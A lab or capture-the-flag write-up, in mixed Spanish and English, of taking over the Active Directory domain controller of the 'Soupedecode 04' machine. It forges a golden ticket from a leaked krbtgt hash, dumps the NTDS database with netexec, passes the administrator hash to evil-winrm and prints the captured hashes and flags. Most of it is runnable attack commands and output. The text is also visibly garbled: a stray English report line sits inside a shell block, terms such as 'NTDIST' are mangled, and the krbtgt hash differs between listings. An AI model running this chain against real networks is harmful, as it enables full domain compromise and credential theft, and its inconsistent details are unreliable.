The primary focus of the penetration test was the Active Directory infrastructure of Soupedecode 04. Our goal was to assess the security posture and identify vulnerabilities that could potentially be exploited by malicious actors. During the assessment, we discovered critical issues, including the presence of SMB null sessions and the storage of hashed credentials in a backup folder. These vulnerabilities were significant, as they allowed us to escalate our privileges and ultimately gain control over the domain controller (DC). The findings underscore the importance of robust security practices in protecting sensitive enterprise resources.

Al explorar en este reporte nos damos cuenta de que se nos expone la base de datos ntds del dominio, por los usuarios que aparecen en él. Esto es MUY CRÍTICO por que entre los hashes aparece el de la cuenta krbtgt, una cuenta que es capaz de generar tickets kerberos para poder suplantar la identidad de cualquier usuario de del dominio (incluso del usuario administrador) sin tener que proporcionar credenciales del mismo.

At this point, we also obtained a sample of the NTDIST from the Active Directory:

```
0C01      krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0f55cdc40bd8f5814587f7e
0C01      soupedecode.local\bookmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c
0C01      soupedecode.local\otoral:1104:aad3b435b51404eeaad3b435b51404ee:ee98
0C01      soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63
0C01      soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e3
0C01      soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92c
0C01      soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:86
```

Vamos a realizar lo que se conoce como un golden ticket attack, para realizar dicho ataque necesitamos:

1.El hash NTLM de la cuenta krbtgt, el cual ya tenemos a través del reporte de pentesting que se han dejado en una carpeta accesible.

2.El SID (Security Identifier) del dominio que es el identificador único de un objeto en un dominio algo así como la “matrícula” de un objeto del dominio. El cual podemos obtener fácilmente

```
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Brute forcing SIDs at 192.168.1.52  
[*] StringBinding ncacn_np:192.168.1.52[\pipe\lsarpc]  
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
```



proporcionando las credenciales de cualquier cuenta que tenemos disponible websvc o rtina979.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]  
# impacket-lookupsid SOUPEDECODE.LOCAL/rtina979:'Password1!'@192.168.1.52 > sids  
  
(root@kali)-[/home/phoenixx/Escritorio/dc04]  
# less sids
```

3.El nombre del dominio, el cual ya tenemos

4.La cuenta a la cual queramos generar un TGT, en este caso queremos generar un ticket kerberos de la cuenta administrator

Antes de realizar dicho ataque, es importante sincronizar varias veces nuestro reloj con el del controlador de dominio, lo podemos hacer con la instrucción `rdate -n`, proporcionando la ip del objetivo. Para perder el ticket utilizamos la herramienta `ticketer`, proporcionando hash de la cuenta `krbtg`, sid del dominio, nombre del dominio y cuenta a la que queremos generar el ticket.

```
(root@kali)-[/home/phoenixx/Escritorio/dc04]  
# sudo rdate -n 192.168.1.52  
Sun May 3 17:53:22 UTC 2026  
  
(root@kali)-[/home/phoenixx/Escritorio/dc04]  
# impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain SOUPEDECODE.LOCAL administrator  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies  
  
[*] Creating basic skeleton ticket and PAC Infos  
[*] Customizing ticket for SOUPEDECODE.LOCAL/administrator  
[*] PAC_LOGON_INFO  
[*] PAC_CLIENT_INFO_TYPE  
[*] EncTicketPart  
[*] EncAsRepPart  
[*] Signing/Encrypting final ticket  
[*] PAC_SERVER_CHECKSUM  
[*] PAC_PRIVSVR_CHECKSUM  
[*] EncTicketPart  
[*] EncAsRepPart  
[*] Saving ticket in administrator.ccache
```

Una vez generado el ticket debemos exportarlo como variable de entorno `KRB5CCNAME`, para poder utilizarlo indicando que se encuentra en la memoria caché de kerberos.

Puede que encontremos dificultades a la hora de utilizar el ticket para autenticarnos contra el DC como el usuario administrator, es cuestión de repetir el proceso fijándose en que la hora está bien sincronizada. Una vez se válida el acceso lo que hacemos es volcar la base de datos NTDS para poder tener acceso a todos los hashes de todas las cuentas del dominio,

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# sudo rdate -n 192.168.1.52
Sun May 3 17:53:33 UTC 2026

At this point, we also obtained a sample of the NTLMST from the Active Directory:

(root@kali)-[/home/phenixx/Escritorio/dc04]
# export KRB5CCNAME=administrator.ccache

(root@kali)-[/home/phenixx/Escritorio/dc04]
# netexec smb 192.168.1.52 -u 'administrator' -p '' -k --use-ccache
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL\administrator from ccache KRB_AP_ERR_SKEW

(root@kali)-[/home/phenixx/Escritorio/dc04]
# sudo rdate -n 192.168.1.52
Sun May 3 17:53:49 UTC 2026

(root@kali)-[/home/phenixx/Escritorio/dc04]
# netexec smb 192.168.1.52 -u 'administrator' -p '' -k --use-ccache
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [-] SOUPEDECODE.LOCAL\administrator from ccache KRB_AP_ERR_SKEW

(root@kali)-[/home/phenixx/Escritorio/dc04]
# sudo rdate -n 192.168.1.52
Sun May 3 17:53:54 UTC 2026

(root@kali)-[/home/phenixx/Escritorio/dc04]
# netexec smb 192.168.1.52 -u 'administrator' -p '' -k --use-ccache
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [*] SOUPEDECODE.LOCAL\administrator from ccache (Pwn3d!)
```

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# netexec smb 192.168.1.52 -u 'administrator' -p '' -k --use-ccache --ntds > ntds_volcado

[+] Creating service Fcyl on 192.168.1.52
[+] Starting service Fcyl...
[+] Press help for extra shell commands
[+] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)

(root@kali)-[/home/phenixx/Escritorio/dc04]
# less ntds_volcado
```

```
SMB 192.168.1.52 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 192.168.1.52 445 DC01 [*] SOUPEDECODE.LOCAL\administrator from ccache (Pwn3d!)
SMB 192.168.1.52 445 DC01 [*] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.1.52 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:536a1787e6c4261388493937fcd0f444:::
SMB 192.168.1.52 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.1.52 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0f55cdc40bd8f5814587f7fe6b2f85e6f:::
```

Utilizamos el hash de la cuenta de administrador para conectarnos, en esta máquina el antivirus bloquea la conexión vía wmic.exe y psexec, por lo que la opción elegida ha sido evil-winrm, por último leemos las flags de user.txt y root.txt

```
(root@kali)-[/home/phenixx/Escritorio/dc04]
# evil-winrm -i 192.168.1.52 -u administrator -H '536a1787e6c4261388493937fcd0f444'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
[+] Creating service Fcyl on 192.168.1.52
[+] Starting service Fcyl...
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1c66eabe105636d7e0b82ec1fa87cb7a
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cd ../../webserv\Desktop
*Evil-WinRM* PS C:\Users\webserv\Desktop> type user.txt
709e449a996a85aa7deaf18c79515d6a
*Evil-WinRM* PS C:\Users\webserv\Desktop>
```